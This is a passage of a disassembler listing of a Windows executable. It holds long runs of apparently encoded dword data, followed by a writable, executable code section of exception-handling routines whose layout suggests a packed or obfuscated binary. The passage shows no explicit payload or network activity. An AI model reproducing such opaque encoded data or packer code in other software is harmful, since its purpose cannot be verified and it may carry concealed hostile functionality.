dd 0FD470647h, 0EC47F747h, 0D947E747h, 0C747CD47h, 0B747BD47h
dd 5847A947h, 3B444A44h, 28443D44h, 1F442544h, 0FB441544h
dd 0CB44E944h, 0AA44C444h, 68457344h, 40456045h, 22453A45h
dd 0B451B45h, 0F5450D45h, 7A45DE45h, 7A3A7A7Ah, 7A7BA67Ah
dd 694A7E7Ah, 554A634Ah, 394A474Ah, 1D4A234Ah, 0F94A174Ah
dd 0DF4AE84Ah, 0AE4AD04Ah, 974AA54Ah, 784A814Ah, 554B5B4Bh
dd 254B404Bh, 0CD4BD44Bh, 6B4BBA4Bh, 1C485648h, 0F2481648h
dd 0D348F548h, 0BD48BB48h, 8D48A548h, 62497148h, 58496749h
dd 4E495349h, 32494149h, 28493749h, 1F492549h, 0A2491049h
dd 91499F49h, 724E7849h, 524E614Eh, 3F4E444Eh, 1D4E244Eh
dd 0EB4E0E4Eh, 0D54EE44Eh, 0B04EBB4Eh, 944E9F4Eh, 814E8F4Eh
dd 764F7A4Eh, 614F684Fh, 524F584Fh, 334F574Fh, 1F4F244Fh
dd 0FE4F044Fh, 0BD4FBB4Fh, 3F4F9C4Fh, 0FD4CFB4Ch, 0C94CD24Ch
dd 0A74CBD4Ch, 724C9E4Ch, 484D504Dh, 294D304Dh, 0FB4D014Dh
dd 0ED4DF44Dh, 0C34DD94Dh, 0B54DC54Dh, 8F4D934Dh, 5642684Dh
dd 3423142h, 0C0420542h, 0A042BC42h, 7B428142h, 53436C43h
dd 35435543h, 9432F43h, 0F6430343h, 0E643EF43h, 0B043D843h
dd 0A343AA43h, 73438343h, 61406C40h, 50405B40h, 47404B40h
dd 0D240D940h, 0B740C940h, 3E414640h, 21413441h, 10411B41h
dd 4410241h, 0E241EB41h, 0BB41C241h, 9B41B441h, 6E467741h
dd 59466046h, 48465346h, 31464446h, 26462D46h, 0F9461946h
dd 0EE46F146h, 0C546DE46h, 9D46AC46h, 7F469446h, 5F477547h
dd 4D474847h, 39474647h, 2F473447h, 1D471847h, 3471647h
dd 0FE470547h, 0E147EF47h, 0C047D047h, 0B047B947h, 9A47A047h
dd 95479347h, 6B478547h, 51446244h, 34444644h, 11441F44h
dd 0EE440F44h, 0BB44D044h, 9044B444h, 84448D44h, 46454D44h
dd 1C452A45h, 0FD450845h, 0E045EE45h, 0CB45DD45h, 0B645BF45h
dd 9E45A245h, 81458F45h, 7A2A7A45h, 7A78167Ah, 5B4A687Ah
dd 2E4A4D4Ah, 0D44A0B4Ah, 0A54AB84Ah, 544B524Ah, 384B4D4Bh
dd 2F4B334Bh, 1E4B254Bh, 0FF4B084Bh, 0E14BEB4Bh, 0C24BD64Bh
dd 0AC4BBE4Bh, 924BA54Bh, 874B8C4Bh, 6948734Bh, 5C485B48h
dd 1D485648h, 0D481748h, 0E148EF48h, 0B048CE48h, 8A489C48h
dd 7B488D48h, 6C497249h, 5C496649h, 40495649h, 1F493A49h
dd 0FB490049h, 0DC49E349h, 0CA49D149h, 0BA49C349h, 0A849B749h
dd 9D49AD49h, 86499649h, 6B4E7B49h, 5C4E6C4Eh, 414E514Eh
dd 2A4E3A4Eh, 1F4E2F4Eh, 4E104Eh, 0F54E054Eh, 0DE4EEE4Eh
dd 0C34ED34Eh, 0B44EC44Eh, 994EA94Eh, 814E924Eh, 614F6F4Eh
dd 4B4F5E4Fh, 3B4F4D4Fh, 204F2F4Fh, 0FE4F174Fh, 0C64FF14Fh
dd 964FB34Fh, 864F884Fh, 704C794Fh, 674C6C4Ch, 4D4C514Ch
dd 3D4C474Ch, 114C1F4Ch, 0E24CF04Ch, 0BC4CE44Ch, 0A64CAC4Ch
dd 7C4C8B4Ch, 5C4D6E4Dh, 3B4D414Dh, 0DE4D284Dh, 0C34DCE4Dh
dd 0B44DB34Dh, 994DA44Dh, 824D894Dh, 7742724Dh, 58426742h
dd 4D424842h, 36423D42h, 1B422642h, 0C420B42h, 0F142FC42h
dd 0DA42E142h, 0CF42CA42h, 0B042BF42h, 0A542A042h, 8E429542h
dd 73437E42h, 64436343h, 49435443h, 32433943h, 27432243h
dd 8431743h, 0FD43F843h, 0E643ED43h, 0CB43D643h, 0BC43BB43h
dd 0A143AC43h, 8A439143h, 7F407A43h, 60406F40h, 55405040h
dd 3E404540h, 23402E40h, 14401340h, 0F9400440h, 0E240E940h
dd 0D740D240h, 0B840C740h, 0AD40A840h, 96409D40h, 7B408640h
dd 6C416B41h, 51415C41h, 3A414141h, 2F412A41h, 10411F41h
dd 5410041h, 0EE41F541h, 0C241D041h, 0B241C441h, 0A241A841h
dd 91419B41h, 80418841h, 76467D41h, 60466B46h, 54465B46h
dd 42464946h, 31463F46h, 0C462A46h, 0AB46EA46h, 0A446A246h
dd 58469E46h, 40475D47h, 0FA473E47h, 0AF47B547h, 9447A447h
dd 71447947h, 66446C44h, 29445C44h, 5442344h, 0D944E044h
dd 0CA44D344h, 0C744C244h, 0AB44BF44h, 9C44A144h, 82448B44h
dd 62456844h, 57456445h, 3E454F45h, 2E453045h, 13451945h
dd 0F8450F45h, 0DE45F345h, 0CE45D045h, 0B245B845h, 9845AF45h
dd 88459345h, 7A458345h, 7A1A7A7Ah, 7A78727Ah, 734A797Ah
dd 594A614Ah, 414A4B4Ah, 2E4A3D4Ah, 0E4A144Ah, 0DB4AF94Ah
dd 0C64ACE4Ah, 0A24ABE4Ah, 824AA44Ah, 724B7A4Ah, 654B754Bh
dd 94B454Bh, 0F74B034Bh, 0E74BEF4Bh, 0CF4BD04Bh, 0BD4BBA4Bh
dd 914BA24Bh, 6048684Bh, 24483848h, 4481048h, 0E848F948h
dd 0CC48E048h, 0B148B848h, 9048A048h, 84489548h, 5C495A48h
dd 2A494E49h, 15491049h
dd 0D1490449h, 0BE49C849h, 9B49A949h, 7C498749h, 444E554Eh
dd 0CE4E124Eh, 0A24EC14Eh, 754F734Eh, 494F5A4Fh, 2D4F3E4Fh
dd 34F124Fh, 0DA4FE04Fh, 0CA4FD34Fh, 0B24FC74Fh, 924FA44Fh
dd 804F894Fh, 744C734Fh, 5C4C614Ch, 474C574Ch, 334C384Ch
dd 134C264Ch, 14C0F4Ch, 0F44CF34Ch, 0D14CE54Ch, 0B84CC84Ch
dd 0AC4CB34Ch, 944C924Ch, 744C864Ch, 5A4D6D4Dh, 434D5D4Dh
dd 294D454Dh, 104D204Dh, 0FE4D044Dh, 0D64DDC4Dh, 0AA4DB34Dh
dd 734DA54Dh, 60427542h, 51425A42h, 47424D42h, 26422A42h
dd 0FA421642h, 0EF42FC42h, 0DC42E142h, 0C642D542h, 0AA42B042h
dd 9142A142h, 78428F42h, 66437743h, 4B435843h, 3F434243h
dd 24432843h, 15431E43h, 0FB430243h, 0DE43E443h, 0BF43C443h
dd 9343A443h, 62407043h, 4F405840h, 26404140h, 14401F40h
dd 0F4400D40h, 0D440EF40h, 0B440CF40h, 9440AF40h, 61416940h
dd 32414B41h, 20412E41h, 0D411641h, 0F741FB41h, 0C841E541h
dd 0A341B441h, 6C41A541h, 4B466746h, 35463C46h, 25462346h
dd 4460F46h, 0E246F546h, 0C946D046h, 0BC46C646h, 0A446A846h
dd 80469D46h, 69477346h, 18475847h, 0C6470547h, 9747AA47h
dd 20445647h, 14441244h, 0AB440C44h, 0A544A344h, 95449F44h
dd 6A448F44h, 57455E45h, 3A454045h, 13453F45h, 0F245FB45h
dd 0E145F445h, 0D545DE45h, 0A945CF45h, 9D45A045h, 7A459745h
dd 7A0A7A7Ah, 7A7BA67Ah, 634A717Ah, 334A594Ah, 0F4A354Ah
dd 944AC94Ah, 474A8F4Ah, 0E94B2D4Bh, 0C34BDC4Bh, 0AC4BAA4Bh
dd 8B4B914Bh, 5A487C4Bh, 2C485D48h, 0E548F648h, 0CD48D648h
dd 0AC48B948h, 8B489148h, 79488C48h, 74497349h, 5B496149h
dd 49495C49h, 44494349h, 0F8490649h, 0DD49E949h, 0C749D749h
dd 0AF49B949h, 8F499449h, 564E7249h, 364E484Eh, 184E284Eh
dd 74E0D4Eh, 0D54ED34Eh, 0B04EB94Eh, 9C4EA44Eh, 394F414Eh
dd 2D4F374Fh, 164F1C4Fh, 0FE4F0F4Fh, 0EC4FEA4Fh, 0D14FDE4Fh
dd 0B94FC14Fh, 8C4F984Fh, 7B4F814Fh, 644C7D4Ch, 414C4C4Ch
dd 294C344Ch, 0F4C244Ch, 0CA4CD14Ch, 0B14CB94Ch, 7F4CAB4Ch
dd 674D704Dh, 514D5F4Dh, 354D384Dh, 0EA4D264Dh, 0D44DEC4Dh
dd 0BB4DC24Dh, 0B64DBC4Dh, 0A14DAC4Dh, 854D934Dh, 6342754Dh
dd 3E425E42h, 11422142h, 0EE420B42h, 0A842C942h, 32434542h
dd 17433443h, 0D743F243h, 0BC43C543h, 0A443B443h, 56438343h
dd 41404840h, 31403840h, 0F402440h, 0F2400140h, 0EC40F540h
dd 0B940D440h, 8340AE40h, 4D417A40h, 0FA410041h, 0D441ED41h
dd 0A641AC41h, 12467B41h, 0A7461546h, 84469446h, 66477746h
dd 50475E47h, 46474A47h, 25472C47h, 0C471347h, 0EA47F947h
dd 0DA47E247h, 0C047DD47h, 0B547B847h, 0A547A247h, 88479747h
dd 79478747h, 66446B44h, 5D445B44h, 46444A44h, 33443B44h
dd 22443544h, 17442544h, 6440944h, 0F044FE44h, 0E044EF44h
dd 0C844DE44h, 0BD44BA44h, 9B44AC44h, 94449D44h, 72448544h
dd 4B456B45h, 33454745h, 26453445h, 0D451945h, 0EF45F345h
dd 0DA45E045h, 0AE45C445h, 8A45A045h, 7A458C45h, 7AFA7A7Ah
dd 7A786A7Ah, 724A787Ah, 5A4A744Ah, 384A4A4Ah, 0F94A334Ah
dd 0DC4AE94Ah, 0BF4AC34Ah, 734A994Ah, 5E4B6C4Bh, 484B504Bh
dd 194B264Bh, 0F94B024Bh, 0CB4BD14Bh, 0AA4BBF4Bh, 874B8D4Bh
dd 6348734Bh, 53485B48h, 30484A48h, 480A48h, 0EE48FC48h
dd 0D048D948h, 0A248A848h, 91489848h, 79488E48h, 62497349h
dd 3E495B49h, 20493449h, 2491249h, 0D049E449h, 0C749CA49h
dd 0AA49BD49h, 9749A149h, 68498D49h, 384E424Eh, 244E2A4Eh
dd 0E24E0A4Eh, 0D14EE54Eh, 0BA4ECD4Eh, 0A74EB14Eh
aNyouoaosojoO7o db 'NyOuOaOSOJO>O7O',0Ah
db 'O',0
dw 0F94Fh
dd 0E24FF44Fh, 0CE4FD84Fh, 0B84FC64Fh, 794FA74Fh, 694C764Ch
dd 544C654Ch, 3C4C4E4Ch, 84C374Ch, 0FE4C014Ch, 0E34CF04Ch
dd 0D44CE54Ch, 0B34CBA4Ch, 8C4C964Ch, 764D784Ch, 564D604Dh
dd 204D4F4Dh, 164D1B4Dh, 44D0F4Dh, 0EB4DF24Dh, 0D44DE34Dh
dd 0BF4DCE4Dh, 0A14DB14Dh, 8B4D9B4Dh, 77427D4Dh, 54426842h
dd 37424342h, 27422842h, 0C7421242h, 0A742B942h, 72428A42h
dd 66437443h, 30433943h, 2431743h, 0B743BC43h, 6243AF43h
dd 4A405A40h, 29403740h, 4401E40h, 0F640FF40h, 0ED40E840h
dd 0D740DD40h, 0BD40C040h, 0A740B740h, 93409940h, 85408F40h
dd 63417C40h, 51415C41h, 4D414A41h, 33413841h, 21412C41h
dd 11411841h, 5410841h, 0F041FF41h, 0CC41D941h, 0A141A941h
dd 95419D41h, 51466041h, 17464946h, 0CC46D346h, 0B746C746h
dd 22469646h, 0FD470B47h, 0DC47F747h, 0B847C647h, 0AF47B547h
dd 8B479347h, 6F447047h, 5D446444h, 22442844h, 14442544h
dd 0FF440E44h, 0DD44F144h, 0AA44B044h, 0A644AF44h, 88449644h
dd 71448444h, 61456F45h, 56455C45h, 30454C45h, 20452A45h
dd 0FB451745h, 0D045DE45h, 0C745D545h, 0B545B945h, 9B45A145h
dd 8B459145h, 7A458745h, 7AEA7A7Ah, 7A783A7Ah, 634A7F7Ah
dd 534A654Ah, 2A4A464Ah, 34A094Ah, 0F74A044Ah, 0CC4AE94Ah
dd 0B54AC74Ah, 584B664Ah, 0B64BEF4Bh, 0A74BA24Bh, 824B974Bh
dd 6A48704Bh, 65486048h, 3E484448h, 24482248h, 1481248h
dd 0D948F548h, 0CC48D348h, 0AF48B548h, 8A489348h, 72497848h
dd 43496449h, 2F494549h, 0C490A49h, 0DD49F649h, 0BA49D749h
dd 9B49A149h, 89499349h, 5A4E6349h, 3A4E414Eh, 1B4E294Eh
dd 0F64EFE4Eh, 0C54EE94Eh, 9D4E9B4Eh, 804E964Eh, 6D4F7B4Eh
dd 544F594Fh, 3B4F424Fh, 284F3D4Fh, 134F224Fh, 34F094Fh
dd 0DF4FFE4Fh, 0C44FC24Fh, 9A4FA24Fh, 8B4F914Fh, 7D4F814Fh
dd 654C6A4Ch, 3A4C574Ch, 234C3D4Ch, 154C1F4Ch, 0F44CF24Ch
dd 0CC4CE34Ch, 824CAC4Ch, 764D784Ch, 564D694Dh, 234D484Dh
dd 94D134Dh, 0FA4D034Dh, 0E04DF74Dh, 0C84DDF4Dh, 0AF4DC24Dh
dd 9D4D984Dh, 884D964Dh, 784D814Dh, 6E427542h, 5F426342h
dd 4A425142h, 3B424F42h, 36423D42h, 27422B42h, 12421942h
dd 3421742h, 0FE420542h, 0EF42F342h, 0DA42E142h, 0CE42DF42h
dd 0C542C042h, 0AE42BD42h, 9A42A342h, 8A429342h, 78428742h
dd 6D437D43h, 56436643h, 3B434B43h, 2C433C43h, 11432143h
dd 0FA430A43h, 0EF43FF43h, 0D043E043h, 0C543D543h, 0AE43BE43h
dd 9343A343h, 84439443h, 69407943h, 52406240h, 47405740h
dd 28403840h, 1D402D40h, 6401640h, 0EB40FB40h, 0DC40EC40h
dd 0C140D140h, 0AA40BA40h, 9F40AF40h, 7A409040h, 4D415341h
dd 2F413541h, 0A411F41h, 0D841EF41h, 0AD41AB41h, 83419941h
dd 6E467D41h, 42465046h, 36464446h, 9462846h, 0D746E546h
dd 0BF46C946h, 9E46B646h, 71468B46h, 4B476B47h, 38474D47h
dd 16471E47h, 0F3470647h, 0EC47EA47h, 0AB47C047h, 97479D47h
dd 77447B47h, 5B446844h, 22444944h, 0D6441E44h, 0AA44C244h
dd 9244A044h, 83449444h, 74457A44h, 50456645h, 36454245h
dd 19452945h, 0F451345h, 0F3450145h, 0E445EE45h, 92459945h
dd 86459445h, 7ADA7A45h, 7A780A7Ah, 664A6A7Ah, 444A434Ah
dd 1B4A2C4Ah, 0FD4A014Ah, 0CC4ACB4Ah, 0B44AB34Ah, 7C4A944Ah
dd 634B694Bh, 544B5D4Bh, 1A4B284Bh, 4B1C4Bh, 0E64BEA4Bh
dd 0C74BCA4Bh, 0AC4BB54Bh, 754B894Bh, 2E484F48h, 16481948h
dd 0FB480E48h, 0F148FC48h, 0E148EE48h, 0D748D248h, 0C548C848h
dd 0B048BF48h, 71488748h, 53496249h, 44494C49h, 0B491949h
dd 0FB490C49h, 0E849F649h, 0B949C449h, 9049A649h, 78498149h
dd 5B4E694Eh, 494E5C4Eh, 284E384Eh, 0E64EF04Eh, 0BA4ECA4Eh
dd 854E824Eh, 5D4F6C4Eh, 404F574Fh, 304F3A4Fh, 204F294Fh
dd 144F124Fh, 74F0D4Fh, 0EB4FF04Fh, 0E74FED4Fh, 0CA4FD34Fh
dd 0C74FCD4Fh, 0AA4FB94Fh, 984FAC4Fh, 884F964Fh, 7C4F814Fh
dd 624C764Ch, 5C4C654Ch, 424C564Ch, 3F4C454Ch, 234C364Ch
dd 1D4C1A4Ch, 14C154Ch, 0F34CF84Ch, 0E64CF54Ch, 0D24CD84Ch
dd 0C04CD44Ch, 0BD4CBB4Ch, 0AE4CB44Ch, 924C984Ch, 814C944Ch
dd 7D4D7B4Ch, 654D6C4Dh, 564D5C4Dh, 464D4F4Dh, 304D394Dh
dd 244D2A4Dh, 174D1E4Dh, 54D094Dh, 0C24DFC4Dh, 0A74DBA4Dh
dd 864D884Dh, 7442734Dh, 4B425942h, 1A422D42h, 0B421142h
dd 0F7420142h, 0E242E842h, 0D942E742h, 0D442D242h, 0C242C942h
dd 0B042BE42h, 9B42A142h, 8B429C42h, 75428D42h, 61436F43h
dd 5C435A43h, 4B435143h, 3A434C43h, 2B433D43h, 17432643h
dd 2430943h, 0F743F843h, 0DE43E443h, 0D543D043h, 0C043CF43h
dd 0BF43BA43h, 0AE43B043h, 9043A443h, 82438A43h, 79438743h
dd 5B406140h, 38404240h, 22402940h, 11401F40h, 0FE400440h
dd 0D640E940h, 0BF40C240h, 0A940B140h, 88409240h, 6E408040h
dd 33415A41h, 0FA411E41h, 0DA41FC41h, 0CF41D741h, 0B441BE41h
dd 0A241A941h, 9241A541h, 8F419441h, 6C467341h, 4C465846h
dd 16464646h, 5460346h, 0DD46E946h, 0C046D746h, 9B46B646h
dd 4C469646h, 1D473247h, 0FA470A47h, 0EC47FD47h, 0D347DB47h
dd 0B547BC47h, 9E47AC47h, 83479447h, 32447647h, 20443444h
dd 13441944h, 0F1440744h, 0ED44EA44h, 0D544D244h, 0BF44C644h
dd 0A944B644h, 9D449B44h, 8D448B44h, 5E456D44h, 1D452A45h
dd 0E2450145h, 8B45D245h, 7ACA7A45h, 7A7BA27Ah, 724A7B7Ah
dd 4F4A654Ah, 0FD4A044Ah, 0D24AE64Ah, 994ACD4Ah, 844A934Ah
dd 514B6E4Ah, 444B4D4Bh, 0B4B214Bh, 0EE4B074Bh, 0CF4BD04Bh
dd 0AF4BC14Bh, 5048764Bh, 3B484F48h, 1B483D48h, 0E6481D48h
dd 0BC48C048h, 0A648B648h, 7A488C48h, 62497549h, 55495D49h
dd 38494649h, 18492D49h, 0FC491349h, 0ED49F449h, 0D349E749h
dd 0B049CA49h, 0A049AA49h, 8A499F49h, 7D4E7B49h, 5E4E644Eh
dd 414E544Eh, 1E4E3D4Eh, 74E144Eh, 0F04EFE4Eh, 0D64EE54Eh
dd 0C14ECC4Eh, 0A74EBB4Eh, 8A4E9E4Eh, 7A4E804Eh, 5A4F774Fh
dd 424F534Fh, 1D4F324Fh, 24F174Fh, 0F14F044Fh, 0E24FEB4Fh
dd 0BA4FDF4Fh, 6C4F854Fh, 0FD4C4E4Ch, 0E74CEA4Ch, 0C34CDF4Ch
dd 0B64CC44Ch, 9F4CA54Ch, 7C4C894Ch, 634D764Dh, 554D594Dh
dd 324D4F4Dh, 274D2E4Dh, 94D1D4Dh, 0F24D064Dh, 0E94DF74Dh
dd 904DA44Dh, 794D8C4Dh, 63427042h, 56425F42h, 3A424042h
dd 18423142h, 17421D42h, 0DA420642h, 0C142D642h, 0AC42B042h
dd 7A428B42h, 60437743h, 48435643h, 37433E43h, 19432343h
dd 0E643FD43h, 0CA43D343h, 0BC43CC43h, 84439D43h, 53407E43h
dd 1E405540h, 0CA40D040h, 0B840C640h, 8D409840h, 49417440h
dd 24414341h, 0E411E41h, 0F0410041h, 0DB41EC41h, 0C041D741h
dd 0B541BA41h, 9841AF41h, 7D419341h, 67466B46h, 49465946h
dd 18464346h, 0FF460846h, 9E46B246h, 68469046h, 30476247h
dd 3472A47h, 0DC47E847h, 0B347B947h, 7F47A147h, 6B447144h
dd 11442144h, 0E244FE44h, 0D244D844h, 0AE44C744h, 7844A044h
dd 47457245h, 1B453845h, 0D451445h, 0C545FD45h, 8B45BF45h
dd 7ABA7A45h, 7A7B927Ah, 7C4A7A7Ah, 394A674Ah, 0E74A094Ah
dd 0CF4AD24Ah, 994AB24Ah
dd 824A884Ah, 444B604Ah, 134B1A4Bh, 0E24BF24Bh, 0C04BCE4Bh
dd 9C4BA34Bh, 7B4B814Bh, 6C486A48h, 48485648h, 33483A48h
dd 0EE480F48h, 0DD48E748h, 0BE48CB48h, 9C48AB48h, 38488E48h
dd 7493149h, 0D949FE49h, 0B549C249h, 8049AF49h, 694E7B49h
dd 564E5C4Eh, 0F64E4C4Eh, 0DD4EE94Eh, 0B84ED74Eh, 9B4EA14Eh
dd 504E804Eh, 4D4F4A4Fh, 0A4F114Fh, 0CB4F0D4Fh, 0AE4FB44Fh
dd 674FA14Fh, 414C584Ch, 194C354Ch, 14C124Ch, 9D4CF54Ch
dd 834C974Ch, 5A4D764Ch, 424D5F4Dh, 0FF4D024Dh, 0B44DEB4Dh
dd 0A34DAE4Dh, 6C427A4Dh, 50426642h, 39424F42h, 11423142h
dd 0FD420842h, 0E342EE42h, 0DE42E442h, 0CE42D742h, 0BC42BB42h
dd 0A142B142h, 8A429A42h, 7F428F42h, 60437043h, 55436543h
dd 3E434E43h, 23433343h, 14432443h, 0F9430943h, 0E243F243h
dd 0D743E743h, 0B843C843h, 0AD43BD43h, 9643A643h, 7E438B43h
dd 63406940h, 0EC40F540h, 0C140CE40h, 9440AD40h, 77417F40h
dd 49416D41h, 31413941h, 17412141h, 0ED41EB41h, 0CE41E541h
dd 0B041BF41h, 0A041AA41h, 97419941h, 7D418C41h, 67467746h
dd 50465946h, 44464E46h, 26462C46h, 9461C46h, 0F9460346h
dd 0D046EA46h, 0C746CA46h, 0A946BD46h, 9946A346h, 88469146h
dd 7D468446h, 6D476A47h, 50475E47h, 4C474A47h, 30473A47h
dd 1A472B47h, 0FE471047h, 0DA47F047h, 0BA47DD47h, 9A47BD47h
dd 7A479D47h, 67447C44h, 55445044h, 46444C44h, 2A443944h
dd 20442F44h, 13441A44h, 6440844h, 0FD44F844h, 0C944E644h
dd 0A444BC44h, 73448B44h, 1E457545h, 0F145FF45h, 9845D145h
dd 7AAA7A45h, 7A78567Ah, 714A7B7Ah, 464A4C4Ah, 0F14A354Ah
dd 0AB4AEF4Ah, 8B4A904Ah, 764A854Ah, 6C4B6B4Bh, 514B5C4Bh
dd 434B4A4Bh, 374B3E4Bh, 124B1B4Bh, 64B144Bh, 0F54BFD4Bh
dd 0DC4BED4Bh, 0C74BCE4Bh, 0B54BBC4Bh, 9A4BAC4Bh, 894B974Bh
dd 794B874Bh, 6B487048h, 59486348h, 4A485048h, 3B484D48h
dd 1E483D48h, 0C481148h, 0FC480548h, 0C048E248h, 0AA48BA48h
dd 9748A348h, 85488248h, 0E7492748h, 9749B049h, 69498249h
dd 0E24E3B4Eh, 0D04EDE4Eh, 0C54EC34Eh, 734EBF4Eh, 424F6A4Fh
dd 204F444Fh, 24F084Fh, 0F74FFC4Fh, 0E64FED4Fh, 0DC4FDB4Fh
dd 0C94FD64Fh, 0B24FC34Fh, 9C4FB44Fh, 854F834Fh, 654C7C4Fh
dd 4F4C514Ch, 394C414Ch, 344C324Ch, 214C2C4Ch, 0F74CF84Ch
dd 0D44CE44Ch, 0BF4CC64Ch, 0A04CA84Ch, 824C944Ch, 644D714Ch
dd 424D5C4Dh, 334D444Dh, 104D254Dh, 0E84D0B4Dh, 0CC4DE44Dh
dd 934DAD4Dh, 854D824Dh, 6B42714Dh, 5A426D42h, 55425F42h
dd 2F423642h, 1C421A42h, 0F420A42h, 0F042F942h, 0D342EB42h
dd 0C242D542h, 0AF42B442h, 82429342h, 69437642h, 42435143h
dd 28434443h, 1E432243h, 2430B43h, 0E443F443h, 0C743DF43h
dd 0A343A943h, 9C43A543h, 85438343h, 24402243h, 400E40h
dd 0CD40EA40h, 0BD40BA40h, 9340A140h, 7B408A40h, 6F417141h
dd 55416141h, 30413A41h, 10412C41h, 0F7410D41h, 0D841EE41h
dd 0C341D241h, 0B241C541h, 0A641AC41h, 4C467141h, 1C463446h
dd 0DD461646h, 0BF46D646h, 7946B146h, 50477347h, 8472647h
dd 0F247F847h, 0E247EB47h, 0D447D247h, 0C747CD47h, 9847B147h
dd 86478F47h, 6E447D47h, 5A446344h, 4A445344h, 38444744h
dd 29443D44h, 24442344h, 15441944h, 440F44h, 0F1440544h
dd 0EC44EB44h, 0DD44E144h, 0C844D744h, 0BC44CD44h, 0AB44B644h
dd 42454844h, 30453E45h, 1B452E45h, 0C451745h, 0F7450745h
dd 0CD45E745h, 0B645BF45h, 0A545A245h, 80459545h, 7A9A7A45h
dd 7A7AB67Ah, 664A7B7Ah, 4E4A544Ah, 324A414Ah, 294A344Ah
dd 1D4A274Ah, 0C4A144Ah, 0F54A044Ah, 0CA4AD84Ah, 0B24ACC4Ah
dd 0A14AAF4Ah, 8C4A9C4Ah, 714A814Ah, 584B6C4Bh, 484B524Bh
dd 394B464Bh, 2F4B354Bh, 1D4B1B4Bh, 0F34B0B4Bh, 0E34BF54Bh
dd 0BC4BE44Bh, 0A54BAB4Bh, 914B9F4Bh, 844B8E4Bh, 5748794Bh
dd 44484D48h, 2A483F48h, 0D482448h, 0E5480748h, 0A048D648h
dd 8D489B48h, 69497748h, 4A495349h, 491049h, 0E749F349h
dd 0C949D449h, 0B849C349h, 0A849B349h, 9649AD49h, 78498849h
dd 5C4E6E4Eh, 0D04EDB4Eh, 0C04EC94Eh, 874E824Eh, 784F794Eh
dd 604C744Ch, 484C5C4Ch, 304C444Ch, 184C2C4Ch, 4C144Ch
dd 6BFA7A4Ch, 7A7A3A7Ah, 0D24A7A7Ah, 0CA48D648h, 0C248CE48h
dd 0BA48C648h, 0B648B248h, 0AE48AA48h, 0A648A248h, 9E489A48h
dd 8A489648h, 82488E48h, 7A488648h, 72497E49h, 1E4E1A49h
dd 164E124Eh, 6BDA7A4Eh, 7A7A5A7Ah, 0E24BEE7Ah, 0D64BE64Bh
dd 0CE4BCA4Bh, 0C64BC24Bh, 0BE4BBA4Bh, 7A4BB24Bh, 3Eh dup(7A7A7A7Ah)
dd 4CBE57Ah, 7A7A7A3Ah, 6BAA527Ah, 3 dup(7A7A7B7Ah), 6BAA4E7Ah
dd 6BAA427Ah, 6BAA467Ah, 0B11117Ah, 5425020Ch, 7A16161Eh
dd 7A3D177Ah, 6BAA3A7Ah, 7A7A7A7Ah, 1336257Ah, 131B3718h
dd 7A4A3A14h, 6Dh dup(7A7A7A7Ah), 7Ah, 24h dup(0)
dd 7EB19F00h, 40h, 11D02800h, 3 dup(100h), 11D03400h, 11D03800h
dd 11D03C00h, 716B6B00h, 2E5F7876h, 6C6C64h, 476D00h, 11D04000h
dd 0
dd 694C5F00h, 69614D62h, 30406Eh, 46h dup(0)
dd 3900h dup(?)
_data ends
; ---------------------------------------------------------------------------
; Section 4. (virtual address 00038000)
; Virtual size : 00116068 (1138792.)
; Section size in file : 0000D684 ( 54916.)
; Offset to raw data for section: 00015A00
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 438000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_438006: ; DATA XREF: sub_438026+Ao
xor eax, eax
inc eax
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
jz short locret_438025
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_438025: ; CODE XREF: .text:00438014j
retn
; =============== S U B R O U T I N E =======================================
sub_438026 proc near ; CODE XREF: .text:0043814Ep
; .text:0043817Cp
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset loc_438006
push large dword ptr fs:0
mov large fs:0, esp
loc_438043: ; CODE XREF: sub_438026+44j
; sub_438026+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_438072
cmp esi, [esp+1Ch+arg_4]
jz short loc_438072
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_438043
call dword ptr [ebx+esi*4+8]
jmp short loc_438043
; ---------------------------------------------------------------------------
loc_438072: ; CODE XREF: sub_438026+2Aj
; sub_438026+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_438026 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_438080 proc near ; CODE XREF: .text:00438141p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_438098
push [ebp+arg_0]
call sub_445618
loc_438098: ; DATA XREF: sub_438080+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_438080 endp
; ---------------------------------------------------------------------------
cld
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz loc_438175
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4380D3: ; CODE XREF: .text:0043816Cj
cmp esi, 0FFFFFFFFh
jz loc_438184
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_438163
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov dword_54F034, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov dword_54F038, eax
mov eax, [edx+4]
mov dword_54F03C, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, dword_54F040
mov esi, dword_54F038
rep movsd
lea edi, dword_54F040
mov dword_54F038, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_438163
js short loc_438171
mov edi, [ebx+8]
push ebx
call sub_438080
